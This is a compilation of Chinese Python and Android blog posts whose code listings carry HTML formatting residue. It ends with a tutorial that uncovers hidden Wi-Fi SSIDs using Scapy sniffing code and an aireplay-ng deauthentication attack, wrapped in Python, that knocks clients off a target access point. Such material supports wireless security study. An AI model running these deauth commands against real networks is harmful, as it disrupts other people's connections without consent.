我们从数据库中查出启用的rules,并对于rules中每一个规则实例化一个 DeepSpider对象。这儿的一个小技巧是建立了一个 RUNNING_CRAWLERS列表,新建立的 DeepSpider对象 spider 都会加入这个队列。在 spider 运行完毕时会调用 spider_closing方法,并将该spider从 RUNNING_CRAWLERS移除。最终, RUNNING_CRAWLERS中没有任何spider了,我们会停止脚本。

运行 run.py后,就能对Rule表中网站进行爬取了,但是我们现在还没有对爬下来的结果进行存储,所以看不到结果。下一篇博客,我们将使用 Scrapy 提供的强大的 Pipline 对数据进行保存并去重。

现在我们可以往Rule表中加入成百上千个网站的规则,而不用添加一行代码,就可以对这成百上千个网站进行爬取。当然你完全可以做一个Web前端来完成维护Rule表的任务。当然Rule规则也可以放在除了数据库的任何地方,比如配置文件。

由于本人刚接触 Scrapy 不久,如有理解不当之处或是更好的解决方案,还请不吝赐教 🙂

你可以在 GitHub上看到本文的完整项目。

原文:http://wuchong.me/blog/2015/05/22/running-scrapy-dynamic-and-configurable/

Python: Python 取随机数函数 random函数

import random
#取0-100以内随机整数
random.randint(0,100)
#25
#取0-100以内随机浮点数
random.uniform(0,100)
#36.588888888
#或者
random.random()
#0.1566666666
#随机从给定的字符串中取出元素
random.choice('Th!sIs7E5tString$')
#E
#随机从给定的字符串中取出给定数量的元素组成列表
random.sample('Th!sIs7E5tString$',3)
#['s','E','5']
#打乱列表顺序
lists = [1,2,3,4,5,6]
random.shuffle(lists)
#[5,1,3,6,4,2]
#从给定字符串列表中选取
random.choice(['IE','Chrome','FireFox','Google','BaiDu'])
#'Chrome'
#从给定的字符元素列表中随机选取元素组成字符串
import string
string.join(random.sample(['1','e','t','s','a','o'],3)).replace('&quot;,&quot;')
#'test' 

原文:http://sys7em.info/?p=316

Python: Python笔记(四)

在《Python笔记(三)》中,我记录关于Python中序列问题的知识。个人觉得确实比Java中的集合框架简单。之前也说了,Python是一种高级面向对象的语言,它的每一个变量都称为对象。今天我接触了面向对象的编程。下面是这篇博客的目录:

1.类与对象

2.输入输出

3.异常

类与对象:

我们都知道面向对象的语言具备四个特性:抽象,继承,封装,多态。Java,C++是这样,Python也不例外。在Python中,我们定义一个类,使用关键字class。形式如下: class classname: 。首先先看下面这段代码,然后我们对照代码进行学习。

<span style="color: #008080;">1  <span style="color: #0000ff;">class <span style="color: #000000;"> Person:
 <span style="color: #008080;">2  <span style="color: #0000ff;">def <span style="color: #000000;"> sayhello(self):
 <span style="color: #008080;">3  <span style="color: #0000ff;">print (<span style="color: #800000;">&quot; <span style="color: #800000;">Hello,how are you~! <span style="color: #800000;">&quot; <span style="color: #000000;">)
 <span style="color: #008080;">4  p =<span style="color: #000000;"> Person()
 <span style="color: #008080;">5  p.sayhello() 

在上面的代码中,我们定义了一个类Person。在类中,我们定义了一个函数sayhello(), 该函数接受一个参数:self。请注意,这个参数不需要你在调用的时候对他赋值,我们的Python会对它进行赋值,并且它需要位于参数的第一个。这个特别的变量作用和C中的self,Java,C#中的this指针一样,指向对象本身。只要你在类中定义函数,那么所有的函数第一个参数都应该是self。 回到代码,在函数中,我们打印出一句话。接下来,我们创建一个对象p,然后对象p调用函数sayhello()。请注意,调用函数并没有传值。这就是一个简单的例子。下面是运行结果:

下面我们来说说Python中的__init__函数。看到这个函数的名字,我们心里其实就应该有猜测了,这个函数就是进行初始化工作的函数。进行初始化工作的函数都具有这样的特性: 在类的一个对象被建立的时候,该函数会马上被执行 。回想一下Java中的构造函数,当然在Java中static块也能有同样的作用,但是他们执行的顺序是不一样的,关于Java中static,请参看的我另一篇博客《 Java静态代码块的用法 static用法详解》,在这里不多做解释。下面我们来学习一下这个__init__函数。

<span style="color: #008080;"> 1  <span style="color: #0000ff;">class <span style="color: #000000;"> Person:
 <span style="color: #008080;"> 2  <span style="color: #0000ff;">def  <span style="color: #800080;">__init__ <span style="color: #000000;">(self,name,age):
 <span style="color: #008080;"> 3          self.name =<span style="color: #000000;"> name
 <span style="color: #008080;"> 4          self.age =<span style="color: #000000;"> age
 <span style="color: #008080;"> 5
<span style="color: #008080;"> 6  <span style="color: #0000ff;">def <span style="color: #000000;"> printInfo(self):
 <span style="color: #008080;"> 7  <span style="color: #0000ff;">print (<span style="color: #800000;">&quot; <span style="color: #800000;">this is your info: name =  <span style="color: #800000;">&quot; ,self.name,<span style="color: #800000;">&quot; <span style="color: #800000;">,age =  <span style="color: #800000;">&quot; <span style="color: #000000;">,self.age)
 <span style="color: #008080;"> 8
<span style="color: #008080;"> 9  p = Person(<span style="color: #800000;">' <span style="color: #800000;">zhouxy <span style="color: #800000;">' ,22<span style="color: #000000;">)
 <span style="color: #008080;">10  p.printInfo() 

在上面的代码中,我们使用了__init__函数,它虽然有3个参数,但是在函数内部却只是对name和age进行了赋值。这段代码和下面这段Java代码作用一样:

<span style="color: #008080;">1  <span style="color: #0000ff;">public  <span style="color: #0000ff;">class <span style="color: #000000;"> Person{
 <span style="color: #008080;">2  <span style="color: #000000;">    String name;
 <span style="color: #008080;">3  <span style="color: #0000ff;">int <span style="color: #000000;"> age;
 <span style="color: #008080;">4  <span style="color: #0000ff;">public <span style="color: #000000;"> Person(){}
 <span style="color: #008080;">5  <span style="color: #0000ff;">public  Person(String name,<span style="color: #0000ff;">int <span style="color: #000000;"> age){
 <span style="color: #008080;">6  <span style="color: #0000ff;">this .name =<span style="color: #000000;"> name;
 <span style="color: #008080;">7  <span style="color: #0000ff;">this .age =<span style="color: #000000;"> age;
 <span style="color: #008080;">8  <span style="color: #000000;">    }
 <span style="color: #008080;">9  } 

然后我们还定义了一个函数printInfo(),对信息进行打印。之后我们创建了一个对象,初始化并打印信息。下面是结果:

我们知道,一个对象是具备属性的。有的属性是对象所私有的,每创建一个对象,他们就会有属于自己的属性。然而有的属性是共有的,这就是类的属性。我们知道在Java中类的属性是由static关键字修饰。而在Python中在类中不是这样。请看下来代码:

<span style="color: #008080;"> 1  <span style="color: #0000ff;">class <span style="color: #000000;"> Person:
 <span style="color: #008080;"> 2  <span style="color: #800000;">''' <span style="color: #800000;">Represents a person. <span style="color: #800000;">'''  <span style="color: #008000;"># <span style="color: #008000;">文档字符串
<span style="color: #008080;"> 3      total = 0    <span style="color: #008000;"># <span style="color: #008000;">类的变量
<span style="color: #008080;"> 4
<span style="color: #008080;"> 5  <span style="color: #0000ff;">def  <span style="color: #800080;">__init__ (self,name):    <span style="color: #008000;"># <span style="color: #008000;">__init__方法
<span style="color: #008080;"> 6          self.name =<span style="color: #000000;"> name
 <span style="color: #008080;"> 7  <span style="color: #0000ff;">print (<span style="color: #800000;">' <span style="color: #800000;">name =  <span style="color: #800000;">' <span style="color: #000000;">,self.name)
 <span style="color: #008080;"> 8          Person.total += 1
<span style="color: #008080;"> 9  <span style="color: #0000ff;">print (<span style="color: #800000;">' <span style="color: #800000;">Person.total =  <span style="color: #800000;">' <span style="color: #000000;">,Person.total)
 <span style="color: #008080;">10
<span style="color: #008080;">11  <span style="color: #0000ff;">def  <span style="color: #800080;">__del__ (self):        <span style="color: #008000;"># <span style="color: #008000;">__del__方法,作用和__init__相反,在对象被销毁的时候调用
<span style="color: #008080;">12  <span style="color: #0000ff;">print (<span style="color: #800000;">' <span style="color: #800000;">%s says bye. <span style="color: #800000;">' %<span style="color: #000000;">self.name)
 <span style="color: #008080;">13          Person.total -= 1
<span style="color: #008080;">14  <span style="color: #0000ff;">print (<span style="color: #800000;">' <span style="color: #800000;">Person.total =  <span style="color: #800000;">' <span style="color: #000000;">,Person.total)
 <span style="color: #008080;">15
<span style="color: #008080;">16  <span style="color: #0000ff;">def <span style="color: #000000;"> sayHello(self):
 <span style="color: #008080;">17  <span style="color: #0000ff;">print (<span style="color: #800000;">' <span style="color: #800000;">Hello,everybody,I am  <span style="color: #800000;">' <span style="color: #000000;">,self.name)
 <span style="color: #008080;">18
<span style="color: #008080;">19  p1 = Person(<span style="color: #800000;">' <span style="color: #800000;">zhouzhou <span style="color: #800000;">' <span style="color: #000000;">)
 <span style="color: #008080;">20  <span style="color: #000000;">p1.sayHello()
 <span style="color: #008080;">21  p2 = Person(<span style="color: #800000;">' <span style="color: #800000;">zhouxy <span style="color: #800000;">' <span style="color: #000000;">)
 <span style="color: #008080;">22  <span style="color: #000000;">p2.sayHello()
 <span style="color: #008080;">23  <span style="color: #0000ff;">del  p1    <span style="color: #008000;"># <span style="color: #008000;">手动销毁  

在上面的代码,我们的total属性就是类的属性。在第19行代码中,我们创建了p1,并调用sayHello()函数,接着又创建了一个p2,也调用了该函数。最后使用del手动将p1销毁。下面是结果:

从结果我们可以看出,total的值与p1,p2都有关系。 当我们的对象不再被使用的时候,__del__方法会运行,但是很难保证这个方法究竟在什么时候运行,如果你想指明它的运行,请使用del。 在上面的结果中是p1先执行__del__函数,但是或许你再执行一次,p2就会先被销毁从而先执行__del__函数。因为p2的销毁时间不能确定。最后再来说说继承,在Java中,我们继承是使用关键字extends关键。而在Python中,我们在子类名后面跟上父类的元组。就像这样: class Student(Person): 这样申明之后,就表明Student类继承与Person类。看下面这个例子程序:

<span style="color: #008080;"> 1  <span style="color: #0000ff;">class <span style="color: #000000;"> SchoolMember:
 <span style="color: #008080;"> 2  <span style="color: #800000;">''' <span style="color: #800000;">Represents any School member. <span style="color: #800000;">'''
<span style="color: #008080;"> 3  <span style="color: #0000ff;">def  <span style="color: #800080;">__init__ <span style="color: #000000;">(self,name,age):
 <span style="color: #008080;"> 4          self.name =<span style="color: #000000;"> name
 <span style="color: #008080;"> 5          self.age =<span style="color: #000000;"> age
 <span style="color: #008080;"> 6  <span style="color: #0000ff;">print (<span style="color: #800000;">''' <span style="color: #800000;">initialized SchoolMember :%s <span style="color: #800000;">''' %<span style="color: #000000;">self.name)
 <span style="color: #008080;"> 7
<span style="color: #008080;"> 8  <span style="color: #0000ff;">def <span style="color: #000000;"> tell(self):
 <span style="color: #008080;"> 9  <span style="color: #800000;">''' <span style="color: #800000;">Tell my details. <span style="color: #800000;">'''
<span style="color: #008080;">10  <span style="color: #0000ff;">print (<span style="color: #800000;">&quot; <span style="color: #800000;">name =  <span style="color: #800000;">&quot; ,self.name,<span style="color: #800000;">&quot; <span style="color: #800000;">,age =  <span style="color: #800000;">&quot; ,self.age,<span style="color: #800000;">' <span style="color: #800000;">, <span style="color: #800000;">' ,end = <span style="color: #800000;">'' <span style="color: #000000;">)
 <span style="color: #008080;">11
<span style="color: #008080;">12  <span style="color: #0000ff;">class <span style="color: #000000;"> Student(SchoolMember):
 <span style="color: #008080;">13  <span style="color: #800000;">''' <span style="color: #800000;">Represents student. <span style="color: #800000;">'''
<span style="color: #008080;">14  <span style="color: #0000ff;">def  <span style="color: #800080;">__init__ <span style="color: #000000;">(self,name,age,id):
 <span style="color: #008080;">15          SchoolMember.<span style="color: #800080;">__init__ (self,name,age)    <span style="color: #008000;"># <span style="color: #008000;">调用父类的__init__函数,类似于Java中的super()
<span style="color: #008080;">16          self.id =<span style="color: #000000;"> id
 <span style="color: #008080;">17
<span style="color: #008080;">18  <span style="color: #0000ff;">def <span style="color: #000000;"> tell(self):
 <span style="color: #008080;">19          SchoolMember.tell(self)    <span style="color: #008000;"># <span style="color: #008000;">调用父类的tell()函数
<span style="color: #008080;">20  <span style="color: #0000ff;">print (<span style="color: #800000;">' <span style="color: #800000;">id =  <span style="color: #800000;">' <span style="color: #000000;">,self.id)
 <span style="color: #008080;">21
<span style="color: #008080;">22  <span style="color: #0000ff;">class <span style="color: #000000;"> Teacher(SchoolMember):
 <span style="color: #008080;">23  <span style="color: #800000;">''' <span style="color: #800000;">Represents Teacher. <span style="color: #800000;">'''
<span style="color: #008080;">24  <span style="color: #0000ff;">def  <span style="color: #800080;">__init__ <span style="color: #000000;">(self,name,age,salary):
 <span style="color: #008080;">25          SchoolMember.<span style="color: #800080;">__init__ <span style="color: #000000;">(self,name,age)
 <span style="color: #008080;">26          self.salary =<span style="color: #000000;"> salary
 <span style="color: #008080;">27
<span style="color: #008080;">28  <span style="color: #0000ff;">def <span style="color: #000000;"> tell(self):
 <span style="color: #008080;">29  <span style="color: #000000;">        SchoolMember.tell(self)
 <span style="color: #008080;">30  <span style="color: #0000ff;">print (<span style="color: #800000;">' <span style="color: #800000;">salary =  <span style="color: #800000;">' <span style="color: #000000;">,self.salary)
 <span style="color: #008080;">31
<span style="color: #008080;">32  t = Teacher(<span style="color: #800000;">' <span style="color: #800000;">zhouxy <span style="color: #800000;">' ,40,6000<span style="color: #000000;">)
 <span style="color: #008080;">33  s = Student(<span style="color: #800000;">' <span style="color: #800000;">hujn <span style="color: #800000;">' ,22,5<span style="color: #000000;">)
 <span style="color: #008080;">34
<span style="color: #008080;">35  members =<span style="color: #000000;"> [t,s]
 <span style="color: #008080;">36  <span style="color: #0000ff;">for  member <span style="color: #0000ff;">in  members:    <span style="color: #008000;"># <span style="color: #008000;">遍历列表
<span style="color: #008080;">37      member.tell() 

上面我们新定义了两个类Student和Teacher。它们都继承与Person类。具有共同的属性name和age。所以Student类初始化时可以使用父类的__init__函数对共同属性进行赋值,之后再对Student类所特有的属性赋值。Teacher类也类似。下面是结果:

Python类与对象就简单了解到这里吧。

输入输出:

下面来看看Python中的输入输出。在Python中,我们可以通多创建一个file类的对象类 打开一个文件,并进行读取。不用的指定参数对文件的读写能力不一样。下面是通过help()命令来查看Python中的不同参数。

我们可以看到, ‘r’表示read,也是默认的;’w’表示write, 当然还有其他模式。下面这段代码是创建一个.txt文件,写进内容,然后把写进去的内容读取到控制台。

<span style="color: #008080;"> 1  <span style="color: #008000;"># <span style="color: #008000;">filename:using_file.py
<span style="color: #008080;"> 2
<span style="color: #008080;"> 3  content = <span style="color: #800000;">''' <span style="color: #800000;">good good study ,day day up .
 <span style="color: #008080;"> 4  <span style="color: #800000;">good good study ,day day up .
 <span style="color: #008080;"> 5  <span style="color: #800000;">good good study ,day day up . <span style="color: #800000;">'''
<span style="color: #008080;"> 6
<span style="color: #008080;"> 7  f = open(<span style="color: #800000;">' <span style="color: #800000;">content.txt <span style="color: #800000;">' ,<span style="color: #800000;">' <span style="color: #800000;">w <span style="color: #800000;">' )        <span style="color: #008000;"># <span style="color: #008000;">创建content.txt,'w'表示我们即将写进内容
<span style="color: #008080;"> 8  f.write(content)    <span style="color: #008000;"># <span style="color: #008000;">将content字符串写进文件
<span style="color: #008080;"> 9  f.close()            <span style="color: #008000;"># <span style="color: #008000;">关闭流
<span style="color: #008080;">10
<span style="color: #008080;">11  f = open(<span style="color: #800000;">' <span style="color: #800000;">content.txt <span style="color: #800000;">' )        <span style="color: #008000;"># <span style="color: #008000;">打开content.txt文件,并读取内容
<span style="color: #008080;">12  <span style="color: #0000ff;">while <span style="color: #000000;"> True:
 <span style="color: #008080;">13      line =<span style="color: #000000;"> f.readline()
 <span style="color: #008080;">14  <span style="color: #0000ff;">if  <span style="color: #0000ff;">not <span style="color: #000000;"> line:
 <span style="color: #008080;">15  <span style="color: #0000ff;">break
<span style="color: #008080;">16  <span style="color: #0000ff;">print <span style="color: #000000;"> (line)
 <span style="color: #008080;">17
<span style="color: #008080;">18  f.close()        <span style="color: #008000;"># <span style="color: #008000;">关闭流  

在上面代码中,我们创建的是open对象,因为在Python3.x中,file类被open类取代了。运行结果之后,我们会发现在与我们程序的相同目录中出现了一个content.txt文件,打开之后就会看见我们所写的内容。同时我们的控制台也读取出来了其中的内容。

Python中提供一个标准的模块,叫做pickle。使用它我们可以将任何一个Python对象写进文件,之后也可以将其完整无缺的读出来。这被称为持久地存储对象。 请看下面的代码:

<span style="color: #008080;"> 1  <span style="color: #0000ff;">import <span style="color: #000000;"> pickle
 <span style="color: #008080;"> 2  shoplistfile = <span style="color: #800000;">' <span style="color: #800000;">shoplist.data <span style="color: #800000;">'
<span style="color: #008080;"> 3  <span style="color: #008000;"># <span style="color: #008000;"> the name of the file where we will store the object
<span style="color: #008080;"> 4
<span style="color: #008080;"> 5  shoplist = [<span style="color: #800000;">' <span style="color: #800000;">apple <span style="color: #800000;">' , <span style="color: #800000;">' <span style="color: #800000;">mango <span style="color: #800000;">' , <span style="color: #800000;">' <span style="color: #800000;">carrot <span style="color: #800000;">' <span style="color: #000000;">]
 <span style="color: #008080;"> 6
<span style="color: #008080;"> 7  <span style="color: #008000;"># <span style="color: #008000;"> Write to the file
<span style="color: #008080;"> 8  f = open(shoplistfile, <span style="color: #800000;">' <span style="color: #800000;">wb <span style="color: #800000;">' <span style="color: #000000;">)
 <span style="color: #008080;"> 9  pickle.dump(shoplist, f) <span style="color: #008000;"># <span style="color: #008000;"> dump the object to a file
<span style="color: #008080;">10  <span style="color: #000000;">f.close()
 <span style="color: #008080;">11
<span style="color: #008080;">12  <span style="color: #0000ff;">del  shoplist <span style="color: #008000;"># <span style="color: #008000;"> remove the shoplist
<span style="color: #008080;">13
<span style="color: #008080;">14  <span style="color: #008000;"># <span style="color: #008000;"> Read back from the storage
<span style="color: #008080;">15  f = open(shoplistfile,<span style="color: #800000;">' <span style="color: #800000;">rb <span style="color: #800000;">' <span style="color: #000000;">)
 <span style="color: #008080;">16  storedlist =<span style="color: #000000;"> pickle.load(f)
 <span style="color: #008080;">17  <span style="color: #0000ff;">print  (storedlist) 

我们将一个列表永久的存进了后缀名为.data的文件中,之后又读取出来了。这和上面写文件的代码差不多,我们使用了pickle模块中的dump()和load()函数。程序运行之后,同样会在同级目录中出现一个名为shoplist.data的文件。下面是结果:

异常

处理 异常就是当你的程序出现某些异常的状况的时候采取的一些措施。在Python中, 处理异常使用try…except语句 ,我们将可能出现异常的语句放在try中,将错误处理语句放在except中。当异常发生的时候,程序就会跳到except语句中执行, 你还可以让try…except语句块关联一个else块,当没有异常发生的时候,else块中的语句将被执行 。在某些时候,我们还可以使用 raise引发一个异常 。当然,有些时候不管异常是否发生,我们都希望执行一些语句,比如在读取文件的时候,不管我们读取是否成功,我们都希望在最后能执行close()方法,将流关闭。这个时候我们就可以使用finally块。

今天就学习了这么多,由于之前对Java掌握的比较熟练,所以在学习Python时,相对比较轻松。如果你在阅读我的博客时有什么疑惑或者觉得我们有些地方写的不够详细,欢迎指出。我会和你一个探讨。

原文:http://www.cnblogs.com/zhouxuanyu/p/4528838.html

Python: 另辟蹊径实现Android多渠道打包

要先说明的是本文说的“渠道”单指在 AndroidManifest.xml定义的一个标识字符串(如友盟统计)。在代码或者通过其他文件定义的方式殊途同归。

说起 Android 多渠道打包,真是八仙过海各显神通:有手动一个个耐心打包的,有用 AntMaven重复跑编译任务的,有用 apktool解包后再修改重打包的,有在build.gradle定义一堆 flavor的,乃至有
通过apk里 META-INF/下的空文件来定义渠道的

上述方法各有优劣,在这里就不一一赘述了。

本文要介绍的是另一种方法:
直接修改APK中的 AndroidManifest.xml

上述种种,说白了都是围绕着如何修改 AndroidManifest.xml,如何重打包或是重编译。介绍的这个方法也不外如是,只是无需重打包重编译而已。

首先得知道一点,APK中的 AndroidMainfest.xml,解压出来用文本编辑器可是不能直接打开的,它是 aapt生成的一个二进制的xml格式(被称为 AXML),得用其他工具(如apktool)先解析出来。所以问题来了,如何直接修改这个 AXML 文件?

如何修改AXML中渠道名

想要修改一个文件,你得先了解它的格式。AXML文件格式其实早已有人研究,如: 《发布C语言的Android binary XML(AXML)解析代码》《AndroidManifest Ambiguity方案原理及代码》

这里就直接引用结论了: string在AXML中是存放在 StringChunk中的; string都是UTF-16编码的;如果需要往AXML中新增string是比较麻烦的(牵一发而动全身…);为了4字节对齐string数据块末尾可能被填充数个0x00…

综上结论,可知, 定义的渠道值是 UTF-16编码的string,并且可能 被填充数个0x00。

那么为了方便后期修改,我们可以先编译的一个特殊的“占位渠道包”,这个包的渠道名是一个 占位字符串,而这个字符串在AXML占的数据块长度能 适应所有渠道名的长度。假设一个占位字符串长度16,那么它自然可以被个数小于16的任意字符串所替代,如占位字符串’abcdefghijklmnop’,渠道有’xxxx’,’abcdef789’…

通过这个特殊的渠道包,我们就能够生成所有渠道包。

通过占位渠道包生成其他渠道包

大致步骤如下:

  1. 解压这个占位渠道包A中的 AndroidManifest.xml
  2. 用真正的渠道名替换 AndroidManifest.xml中的 占位字符串
  3. 拷贝一份新的占位渠道包B,删除掉 META-INF/*AndroidManifest.xml
  4. 将修改后的 AndroidManifest.xml重压缩到新的包B中
  5. 重命名渠道包B,并签名
  6. zipalign
  7. 完成一个渠道

如果你的渠道列表实在非常的多,你大概需要用多线程来优化这个步骤吧!

优劣

这个方法的优点在于:

1. 快,比所有需要重编译代码的方法快(包括apktool重打包、gradle定义flavor等);

2. 不依赖于第三方工具(都是自己写的实现脚本,算第三方不…)

缺点在于:

1. 要重新签名(倒也算不上什么缺点);

2. 需要注意占位字符串的长度不要太短了= =

实现脚本

我实现的版本这里就不献丑了,等你来完善吧!

核心代码如下:

python 替换AXML中的字符串:

(注:修改自 https://github.com/wanchouchou/playWithAXML)

def  replace_axml_string ( axml_data ,  old_string ,  new_string ):
  '''
     axml_data: the raw bytearray readed from AndroidManifest.xml
     '''
  new_string_pack  =  axml_utf16_pack ( new_string )
  old_string_pack  =  axml_utf16_pack ( old_string )
  new_string_pack_len  =  len ( new_string_pack )
  old_string_pack_len  =  len ( old_string_pack )
  if  old_string_pack_len  <  new_string_pack_len :
  raise  ValueError ( 'new_string cannot be larger than old_string! ' )
  pos  =  0
  while  True :
  pos  =  find_pack_in_axml ( axml_data ,  old_string_pack ,  pos )
  if  pos  <  0 :
  break
  axml_data &#91; pos  :  pos  +  new_string_pack_len &#93;  =  new_string_pack &#91;  :  new_string_pack_len &#93;
  delta  =  old_string_pack_len  -  new_string_pack_len
  if  delta :
  axml_data &#91; pos  +  new_string_pack_len :  pos  +  old_string_pack_len &#93;  =  bytearray ( delta )
 def  axml_utf16_pack ( string ):
  pack  =  bytearray ( string . encode ( 'utf-16' ))
  str_len_pack  =  struct . pack ( '<i' ,  len ( string ))
  pack &#91;  :  2 &#93;  =  struct . unpack ( 'BB' ,  str_len_pack &#91;  :  2 &#93;)
  return  pack
 def  find_pack_in_axml ( axml_data ,  pack ,  start ):
  pos  =  axml_data . find ( pack ,  start ,  - 1 )
  return  pos
  &#91;/code&#93;
</div>
</figure>
<p>签名APK命令形如下:</p>

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ~/.android/debug.keystore -storepass android -keypass android path/to/channel.apk AndroidDebugKey
 

完。

本文思路源于@某因幡,向这只安静的兔子致敬~~

原文:http://www.yrom.net/blog/2015/05/25/the_other_way_to_package_multi_channel_apks/

Python: 混合微服务 vs Django

在设计所谓的"Next-Generation CMS",即 Echoes CMS 的时候,对于我这种懒得自己写Django App的人来说,通过我会去复制别人的代码,于是我继续在Github上漫游。接着找到了DjangoProject.com的源码,又看了看Mezzanine(ps: 我博客用的就是这个CMS)。于是从DjangoProject复制了Blog的代码,从Mezzanine复制了conf的代码,然后就有了 Echoes 的codebase。然后,继之前的文章( 《微服务的小思考》 我想了想, 这不就是我想要的模型么?

微服务与Django

Django 应用架构

Django MVC结构如下如示:

然后,记住这张图,忘记上面的MVC,Django实际上是一个MTV

  • Model
  • Template
  • View

主要是Django中的views.py通常是在做Controller的事。

然而对于一个Django的应用来说,他的架构如下所示:

Django的每个App就代表着程序的一个功能。每个App有自己的models、views、urls、templates所以对于一个app来说他的结构如下:

.
|______init__.py
|____models.py
|____tests.py
|____views.py
 

如果是新版的Django那么它的结构如下:

.
|______init__.py
|____admin.py
|____migrations
| |______init__.py
|____models.py
|____tests.py
|____views.py
 

上面少了templates,最后会有一个总的URL,即第一张图的 URL Dispatcher。接着,让我们看看微服务是怎样的。

微服务

一个典型的微服务如下所示:

有不同的技术栈python、spring、scala,但是他们看上去和Django应用的图差不多,除了数据库不一样。

混合微服务

与其将复杂的测试、逻辑部分变得不可测,不如把这些部分放置于系统内部。

当我们在我们的服务器上部署微服务的时候,也就意味着实现所以的服务都是在我们系统的内部,我们有一个Kernel以及他们的Kernel Moduels,即微服务群们。他们调用DB,或者某些第三方服务。

System Libraries相当于我们的URL Dispatcher。而我们的URL Dispatcher实际上所做的便是将各自调用的服务指向各自的app。

这样我们即可以解决部署的问题,又可以减少内部耦合。

其他

我猜,微服务的流行是因为程序员可以欢乐地使用自己的语言,哪怕是Logo。

Follow my projects on GitHub

QQ交流群: 321689806

微博: @phodal

原文:http://segmentfault.com/a/1190000002794715

Python: 一键获取隐藏Wi-Fi SSID:利用Python和Scapy发现隐藏无线热点

从WiFi万能钥匙导致密码泄漏,到央视“315”晚会曝光无线的危险,到前几天京东因无线密码泄漏导致被内网漫游,让我们不得不开始关注无线安全。因为一旦无线被破解,以目前的无线架构的特点来说,基本上就等于进了家门,危险程度还是很高的。

关于无线内网的嗅探和劫持,大家可以关注我之前写的两篇文章: MITMf框架攻击   中间人SSL证书劫持  ,MITMf近来更新的功能非常多,玩起来也很带感,喜欢搞内网的朋友不妨多关注一下。

好了以上全是废话,今天主要想跟大家聊聊如何找出隐藏无线SSID的。

0×00  说说已有的东西

如何找出隐藏无线热点SSID不是一个新的话题,网上搜一下,这种教程也很多,不过大多数是需要借助一些工具比如wireshark或者 CommView等来进行抓包操作辅助完成,大体的方式和流程是像这样:

这样:

这样:

这样:

这样就找到了我们的无线热点了。不多做解释,需要的同学请自行百度。

其实这样的方式也没有什么不好的,因为我比较懒,所以有了这篇文章。

0×01  大体思路

思路是这样的:

1、判断周围环境是否存在隐藏无线热点
2、根据隐藏无线热点特征获取无线热点的BSSID
3、使用aireplay对目标热点进行攻击使客户端下线重连
4、重连过程中抓取包请求同时进行包过滤获取有用信息
5、得到隐藏热点的SSID

0×02  测试环境

惯例说一下测试环境:

系统:     Ubuntu14.04
Python版本:2.7.6
工具:    aircrack套(主要使用airmon-ng和aireplay工具)

0×03 启用监听模式

首先我们需要把我们的网卡启动到监听模式。这里就需要用到aircrack套件了。

使用以下命令开启监听模式:

sudo airmon-ng start wlan0

这里因为我需要最终写到python中,所以使用了os.popen()函数来执行这条命令。

贴上这部分python代码:

#判断是否开启监听模式
ifa = os.popen('ifconfig  | grep mon0 | cut -d " " -f 1')
ifb = ifa.read()
if ifb != 'mon0\n':
	print '正在开启监听模式……\n'
	f = os.popen('airmon-ng start wlan0')
	f.read()
	f.close
if ifb == 'mon0\n':
	pass
ifa.close()

0×04 发现隐藏无线热点

FreeBuf小知识

介绍这部分之前,我们需要首先了解一些关于嗅探到的包的信息,以便于我们后文可以对包进行过滤操作:

wlan.fc.type == 0           管理帧(Management frames)
wlan.fc.type == 1           控制帧(Control frames)
wlan.fc.type == 2           数据帧(Data frames)
wlan.fc.type_subtype == 0   关联请求(Association request)
wlan.fc.type_subtype == 1   关联响应(Association response)
wlan.fc.type_subtype == 2   重连请求(Reassociation request)
wlan.fc.type_subtype == 3   重连响应(Reassociation response)
wlan.fc.type_subtype == 4   帧请求(Probe request)
wlan.fc.type_subtype == 5   帧响应(Probe response)
wlan.fc.type_subtype == 8   信标(Beacon)

/FreeBuf小知识

因为我们这里主要是为了发现隐藏的无线热点,而隐藏SSID只能在连接请求和连接响应中获取,但是连接请求中可能会出现我们不想要的内容(比如手机记忆的但是非我们想要的SSID),所以这里我们主要用到type=0和type_subtype=8和type_subtype=5。而如果你是想要获取周围设备所记忆的无线热点名称,则可以用subtype=4辅助发现,这里我们不多做解释。

接下来我将一步一步解释我做这个时所遇到的问题。

首先,我们需要先发现周围的无线热点,发现无线的代码如下:

def PacketHandler(pkt):
	if pkt.haslayer(Dot11):
		if pkt.type == 0 and pkt.subtype == 8:
			if pkt.addr2 not in aps:
				aps.append(pkt.addr2)
				cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
				if re.search('privacy', cap):
					a = '加密状态:Yes\t热点BSSID为%s\tSSID为%s'%(pkt.addr2, pkt.info)
					with open('test.txt', 'a+') as t:
					t.write(a+'\n')
					print a
				else:
					b = '加密状态:No\t热点BSSID为%s\tSSID为%s'%(pkt.addr2, pkt.info)
					with open('test.txt', 'a+') as t:
					t.write(b+'\n')
					print b
sniff(iface = 'mon0', prn = PacketHandler)

执行之后的结果是这样的

嗅探结果就是这样的,可以看出周围的无线环境比较复杂,小编能在如此复杂的网络环境中保持一颗纯真的童心,实属不易。

细心的同学可能已经发现了,这里的无线混入了一个奇怪的东西:

没错,这个空空的SSID就是我建的隐藏无线热点,到这里就简单啦,只要判断SSID是否为空值就可以了,然后根据空值判断出周围存在隐藏无线,从而获取到BSSID,好像很轻松嘛,可是事实真的如此吗?

在我想要按照以上思路走的时候我才发现事实并非如此。用SSID为空的条件根本获取不到任何东西,这就奇怪了,于是我将无线信息写入到一个文本中,想看一下究竟发生了什么,结果如下:

终于恍然大悟,我解释一下,看明白的直接略过这一步:

隐藏SSID的无线的SSID其实并非为空值,而是将所有的SSID字符以十六进制的0×00进行填充,因为我们的设备都无法正常显示0×00这个值,所以看起来就像是空值。

知道了原因就好解决了,我使用了binascii库进行了值的转换,解决代码如下:

if binascii.hexlify(pkt.info)[:2] == '00':#判断名称是否为空
    print '发现隐藏无线热点! BSSID是 %s\n' %pkt.addr2

因为我们无法确定目标热点的SSID究竟使用了几个字符,而一般的无线名称是不会出现0×00这个值的,因此我切取了前两个值进行判断。

0×05 获取BSSID并进行攻击

获取BSSID代码如下:

if binascii.hexlify(pkt.info)[:2] == '00':
    addr = pkt.addr2

好吧就是一个赋值操作 (唉?谁扔的臭鸡蛋?你出来!)

然后进行攻击:

攻击的过程实际就是向热点发送deauth包,然后强制客户端下线,这里我们使用aireplay,命令如下:

aireplay-ng --deauth 0 -a addr mon0 --ignore-negative-one

执行结果是这样的:

攻击一会儿我们的目的就达到了,然后手动停止攻击,写成python代码如下:

os.system('aireplay-ng --deauth 0 -a '+addr+' mon0 --ignore-negative-one')

